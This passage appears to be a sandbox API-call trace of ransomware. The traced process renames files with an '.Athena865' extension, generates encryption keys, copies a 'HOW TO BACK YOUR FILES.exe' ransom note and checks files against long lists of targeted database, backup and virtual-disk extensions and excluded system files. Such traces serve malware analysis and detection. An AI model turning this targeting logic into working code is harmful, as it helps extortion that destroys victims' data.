(lpString1="WMM2CLIP.dll.mui", lpString2="bootmgr") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="temp") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="pagefile.sys") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="boot") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ids.txt") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntuser.dat") returned 1 [0064.815] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="perflogs") returned 1 [0064.816] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="MSBuild") returned 1 [0064.816] lstrlenW (lpString="WMM2CLIP.dll.mui") returned 16 [0064.816] lstrcpyW (in: lpString1=0x241e88a, lpString2="WMM2CLIP.dll.mui" | out: lpString1="WMM2CLIP.dll.mui") returned="WMM2CLIP.dll.mui" [0064.816] lstrlenW (lpString="WMM2CLIP.dll.mui") returned 16 [0064.816] lstrlenW (lpString="Athena865") returned 9 [0064.816] lstrcmpiW (lpString1="P.dll.mui", lpString2="Athena865") returned 1 [0064.816] lstrlenW (lpString=".dll") returned 4 [0064.816] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".dll") returned 1 [0064.816] lstrlenW (lpString=".lnk") returned 4 [0064.816] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".lnk") returned 1 [0064.816] lstrlenW (lpString=".ini") returned 4 [0064.816] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".ini") returned 1 [0064.816] lstrlenW (lpString=".sys") returned 4 [0064.816] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".sys") returned 1 [0064.816] lstrlenW (lpString="WMM2CLIP.dll.mui") returned 16 [0064.816] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.Athena865") returned 59 [0064.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.Athena865" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.athena865"), dwFlags=0x1) returned 1 [0064.817] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.Athena865" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.817] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7168) returned 1 [0064.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.818] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.818] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.818] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.818] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f00, lpName=0x0) returned 0x17c [0064.820] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f00) returned 0x100000 [0064.821] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.822] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.822] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.822] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.823] CloseHandle (hObject=0x17c) returned 1 [0064.823] CloseHandle (hObject=0x154) returned 1 [0064.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.823] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0064.823] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.823] ReleaseMutex (hMutex=0xec) returned 1 [0064.823] CloseHandle (hObject=0xec) returned 1 [0064.823] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\DVD Maker\\Shared" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared") returned="C:\\Program Files\\DVD Maker\\Shared" [0064.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517118 | out: hHeap=0x4f0000) returned 1 [0064.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f700 | out: hHeap=0x4f0000) returned 1 [0064.823] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared") returned 33 [0064.823] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EDBA074F611A49D046AB5BD463C1E4A8") returned 0xec [0064.823] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.823] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared") returned="C:\\Program Files\\DVD Maker\\Shared" [0064.824] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.824] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.824] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.824] GetLastError () returned 0x0 [0064.824] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0064.824] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.825] CloseHandle (hObject=0xf4) returned 1 [0064.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0064.825] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbe299700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe299700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.825] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.825] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.826] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.826] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbe299700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe299700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.826] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.826] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.826] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.826] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.826] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2=".") returned 1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="..") returned 1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="windows") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="bootmgr") returned 1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="temp") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="pagefile.sys") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="boot") returned 1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="ids.txt") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="ntuser.dat") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="perflogs") returned -1 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2="MSBuild") returned -1 [0064.826] lstrlenW (lpString="Common.fxh") returned 10 [0064.826] lstrcpyW (in: lpString1=0x241e88c, lpString2="Common.fxh" | out: lpString1="Common.fxh") returned="Common.fxh" [0064.826] lstrlenW (lpString="Common.fxh") returned 10 [0064.826] lstrlenW (lpString="Athena865") returned 9 [0064.826] lstrcmpiW (lpString1="ommon.fxh", lpString2="Athena865") returned 1 [0064.826] lstrlenW (lpString=".dll") returned 4 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2=".dll") returned 1 [0064.826] lstrlenW (lpString=".lnk") returned 4 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2=".lnk") returned 1 [0064.826] lstrlenW (lpString=".ini") returned 4 [0064.826] lstrcmpiW (lpString1="Common.fxh", lpString2=".ini") returned 1 [0064.827] lstrlenW (lpString=".sys") returned 4 [0064.827] lstrcmpiW (lpString1="Common.fxh", lpString2=".sys") returned 1 [0064.827] lstrlenW (lpString="Common.fxh") returned 10 [0064.827] lstrlenW (lpString="bak") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="bak") returned 1 [0064.827] lstrlenW (lpString="ba_") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="ba_") returned 1 [0064.827] lstrlenW (lpString="dbb") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="dbb") returned 1 [0064.827] lstrlenW (lpString="vmdk") returned 4 [0064.827] lstrcmpiW (lpString1=".fxh", lpString2="vmdk") returned -1 [0064.827] lstrlenW (lpString="rar") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="rar") returned -1 [0064.827] lstrlenW (lpString="zip") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="zip") returned -1 [0064.827] lstrlenW (lpString="tgz") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="tgz") returned -1 [0064.827] lstrlenW (lpString="vbox") returned 4 [0064.827] lstrcmpiW (lpString1=".fxh", lpString2="vbox") returned -1 [0064.827] lstrlenW (lpString="vdi") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="vdi") returned -1 [0064.827] lstrlenW (lpString="vhd") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="vhd") returned -1 [0064.827] lstrlenW (lpString="vhdx") returned 4 [0064.827] lstrcmpiW (lpString1=".fxh", lpString2="vhdx") returned -1 [0064.827] lstrlenW (lpString="avhd") returned 4 [0064.827] lstrcmpiW (lpString1=".fxh", lpString2="avhd") returned -1 [0064.827] lstrlenW (lpString="db") returned 2 [0064.827] lstrcmpiW (lpString1="xh", lpString2="db") returned 1 [0064.827] lstrlenW (lpString="db2") returned 3 [0064.827] lstrcmpiW (lpString1="fxh", lpString2="db2") returned 1 [0064.827] lstrlenW (lpString="db3") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="db3") returned 1 [0064.828] lstrlenW (lpString="dbf") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="dbf") returned 1 [0064.828] lstrlenW (lpString="mdf") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="mdf") returned -1 [0064.828] lstrlenW (lpString="mdb") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="mdb") returned -1 [0064.828] lstrlenW (lpString="sql") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="sql") returned -1 [0064.828] lstrlenW (lpString="sqlite") returned 6 [0064.828] lstrcmpiW (lpString1="on.fxh", lpString2="sqlite") returned -1 [0064.828] lstrlenW (lpString="sqlite3") returned 7 [0064.828] lstrcmpiW (lpString1="mon.fxh", lpString2="sqlite3") returned -1 [0064.828] lstrlenW (lpString="sqlitedb") returned 8 [0064.828] lstrcmpiW (lpString1="mmon.fxh", lpString2="sqlitedb") returned -1 [0064.828] lstrlenW (lpString="xml") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="xml") returned -1 [0064.828] lstrlenW (lpString="$er") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="$er") returned 1 [0064.828] lstrlenW (lpString="4dd") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="4dd") returned 1 [0064.828] lstrlenW (lpString="4dl") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="4dl") returned 1 [0064.828] lstrlenW (lpString="^^^") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="^^^") returned 1 [0064.828] lstrlenW (lpString="abs") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="abs") returned 1 [0064.828] lstrlenW (lpString="abx") returned 3 [0064.828] lstrcmpiW (lpString1="fxh", lpString2="abx") returned 1 [0064.828] lstrlenW (lpString="accdb") returned 5 [0064.828] lstrcmpiW (lpString1="n.fxh", lpString2="accdb") returned 1 [0064.829] lstrlenW (lpString="accdc") returned 5 [0064.829] lstrcmpiW (lpString1="n.fxh", lpString2="accdc") returned 1 [0064.829] lstrlenW (lpString="accde") returned 5 [0064.829] lstrcmpiW (lpString1="n.fxh", lpString2="accde") returned 1 [0064.829] lstrlenW (lpString="accdr") returned 5 [0064.829] lstrcmpiW (lpString1="n.fxh", lpString2="accdr") returned 1 [0064.829] lstrlenW (lpString="accdt") returned 5 [0064.829] lstrcmpiW (lpString1="n.fxh", lpString2="accdt") returned 1 [0064.829] lstrlenW (lpString="accdw") returned 5 [0064.829] lstrcmpiW (lpString1="n.fxh", lpString2="accdw") returned 1 [0064.829] lstrlenW (lpString="accft") returned 5 [0064.829] lstrcmpiW (lpString1="n.fxh", lpString2="accft") returned 1 [0064.829] lstrlenW (lpString="adb") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="adb") returned 1 [0064.829] lstrlenW (lpString="adb") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="adb") returned 1 [0064.829] lstrlenW (lpString="ade") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="ade") returned 1 [0064.829] lstrlenW (lpString="adf") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="adf") returned 1 [0064.829] lstrlenW (lpString="adn") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="adn") returned 1 [0064.829] lstrlenW (lpString="adp") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="adp") returned 1 [0064.829] lstrlenW (lpString="alf") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="alf") returned 1 [0064.829] lstrlenW (lpString="ask") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="ask") returned 1 [0064.829] lstrlenW (lpString="btr") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="btr") returned 1 [0064.829] lstrlenW (lpString="cat") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="cat") returned 1 [0064.829] lstrlenW (lpString="cdb") returned 3 [0064.829] lstrcmpiW (lpString1="fxh", lpString2="cdb") returned 1 [0064.830] lstrlenW (lpString="ckp") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="ckp") returned 1 [0064.830] lstrlenW (lpString="cma") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="cma") returned 1 [0064.830] lstrlenW (lpString="cpd") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="cpd") returned 1 [0064.830] lstrlenW (lpString="dacpac") returned 6 [0064.830] lstrcmpiW (lpString1="on.fxh", lpString2="dacpac") returned 1 [0064.830] lstrlenW (lpString="dad") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dad") returned 1 [0064.830] lstrlenW (lpString="dadiagrams") returned 10 [0064.830] lstrlenW (lpString="daschema") returned 8 [0064.830] lstrcmpiW (lpString1="mmon.fxh", lpString2="daschema") returned 1 [0064.830] lstrlenW (lpString="db-journal") returned 10 [0064.830] lstrlenW (lpString="db-shm") returned 6 [0064.830] lstrcmpiW (lpString1="on.fxh", lpString2="db-shm") returned 1 [0064.830] lstrlenW (lpString="db-wal") returned 6 [0064.830] lstrcmpiW (lpString1="on.fxh", lpString2="db-wal") returned 1 [0064.830] lstrlenW (lpString="dbc") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dbc") returned 1 [0064.830] lstrlenW (lpString="dbs") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dbs") returned 1 [0064.830] lstrlenW (lpString="dbt") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dbt") returned 1 [0064.830] lstrlenW (lpString="dbv") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dbv") returned 1 [0064.830] lstrlenW (lpString="dbx") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dbx") returned 1 [0064.830] lstrlenW (lpString="dcb") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dcb") returned 1 [0064.830] lstrlenW (lpString="dct") returned 3 [0064.830] lstrcmpiW (lpString1="fxh", lpString2="dct") returned 1 [0064.831] lstrlenW (lpString="dcx") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="dcx") returned 1 [0064.831] lstrlenW (lpString="ddl") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="ddl") returned 1 [0064.831] lstrlenW (lpString="dlis") returned 4 [0064.831] lstrcmpiW (lpString1=".fxh", lpString2="dlis") returned -1 [0064.831] lstrlenW (lpString="dp1") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="dp1") returned 1 [0064.831] lstrlenW (lpString="dqy") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="dqy") returned 1 [0064.831] lstrlenW (lpString="dsk") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="dsk") returned 1 [0064.831] lstrlenW (lpString="dsn") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="dsn") returned 1 [0064.831] lstrlenW (lpString="dtsx") returned 4 [0064.831] lstrcmpiW (lpString1=".fxh", lpString2="dtsx") returned -1 [0064.831] lstrlenW (lpString="dxl") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="dxl") returned 1 [0064.831] lstrlenW (lpString="eco") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="eco") returned 1 [0064.831] lstrlenW (lpString="ecx") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="ecx") returned 1 [0064.831] lstrlenW (lpString="edb") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="edb") returned 1 [0064.831] lstrlenW (lpString="epim") returned 4 [0064.831] lstrcmpiW (lpString1=".fxh", lpString2="epim") returned -1 [0064.831] lstrlenW (lpString="fcd") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="fcd") returned 1 [0064.831] lstrlenW (lpString="fdb") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="fdb") returned 1 [0064.831] lstrlenW (lpString="fic") returned 3 [0064.831] lstrcmpiW (lpString1="fxh", lpString2="fic") returned 1 [0064.832] lstrlenW (lpString="flexolibrary") returned 12 [0064.832] lstrlenW (lpString="fm5") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fm5") returned 1 [0064.832] lstrlenW (lpString="fmp") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fmp") returned 1 [0064.832] lstrlenW (lpString="fmp12") returned 5 [0064.832] lstrcmpiW (lpString1="n.fxh", lpString2="fmp12") returned 1 [0064.832] lstrlenW (lpString="fmpsl") returned 5 [0064.832] lstrcmpiW (lpString1="n.fxh", lpString2="fmpsl") returned 1 [0064.832] lstrlenW (lpString="fol") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fol") returned 1 [0064.832] lstrlenW (lpString="fp3") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fp3") returned 1 [0064.832] lstrlenW (lpString="fp4") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fp4") returned 1 [0064.832] lstrlenW (lpString="fp5") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fp5") returned 1 [0064.832] lstrlenW (lpString="fp7") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fp7") returned 1 [0064.832] lstrlenW (lpString="fpt") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="fpt") returned 1 [0064.832] lstrlenW (lpString="frm") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="frm") returned 1 [0064.832] lstrlenW (lpString="gdb") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="gdb") returned -1 [0064.832] lstrlenW (lpString="gdb") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="gdb") returned -1 [0064.832] lstrlenW (lpString="grdb") returned 4 [0064.832] lstrcmpiW (lpString1=".fxh", lpString2="grdb") returned -1 [0064.832] lstrlenW (lpString="gwi") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="gwi") returned -1 [0064.832] lstrlenW (lpString="hdb") returned 3 [0064.832] lstrcmpiW (lpString1="fxh", lpString2="hdb") returned -1 [0064.833] lstrlenW (lpString="his") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="his") returned -1 [0064.833] lstrlenW (lpString="ib") returned 2 [0064.833] lstrcmpiW (lpString1="xh", lpString2="ib") returned 1 [0064.833] lstrlenW (lpString="idb") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="idb") returned -1 [0064.833] lstrlenW (lpString="ihx") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="ihx") returned -1 [0064.833] lstrlenW (lpString="itdb") returned 4 [0064.833] lstrcmpiW (lpString1=".fxh", lpString2="itdb") returned -1 [0064.833] lstrlenW (lpString="itw") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="itw") returned -1 [0064.833] lstrlenW (lpString="jet") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="jet") returned -1 [0064.833] lstrlenW (lpString="jtx") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="jtx") returned -1 [0064.833] lstrlenW (lpString="kdb") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="kdb") returned -1 [0064.833] lstrlenW (lpString="kexi") returned 4 [0064.833] lstrcmpiW (lpString1=".fxh", lpString2="kexi") returned -1 [0064.833] lstrlenW (lpString="kexic") returned 5 [0064.833] lstrcmpiW (lpString1="n.fxh", lpString2="kexic") returned 1 [0064.833] lstrlenW (lpString="kexis") returned 5 [0064.833] lstrcmpiW (lpString1="n.fxh", lpString2="kexis") returned 1 [0064.833] lstrlenW (lpString="lgc") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="lgc") returned -1 [0064.833] lstrlenW (lpString="lwx") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="lwx") returned -1 [0064.833] lstrlenW (lpString="maf") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="maf") returned -1 [0064.833] lstrlenW (lpString="maq") returned 3 [0064.833] lstrcmpiW (lpString1="fxh", lpString2="maq") returned -1 [0064.833] lstrlenW (lpString="mar") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mar") returned -1 [0064.834] lstrlenW (lpString="marshal") returned 7 [0064.834] lstrcmpiW (lpString1="mon.fxh", lpString2="marshal") returned 1 [0064.834] lstrlenW (lpString="mas") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mas") returned -1 [0064.834] lstrlenW (lpString="mav") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mav") returned -1 [0064.834] lstrlenW (lpString="maw") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="maw") returned -1 [0064.834] lstrlenW (lpString="mdbhtml") returned 7 [0064.834] lstrcmpiW (lpString1="mon.fxh", lpString2="mdbhtml") returned 1 [0064.834] lstrlenW (lpString="mdn") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mdn") returned -1 [0064.834] lstrlenW (lpString="mdt") returned 3 [0064.834] lstrcmpiW (lpString1="fxh", lpString2="mdt") returned -1 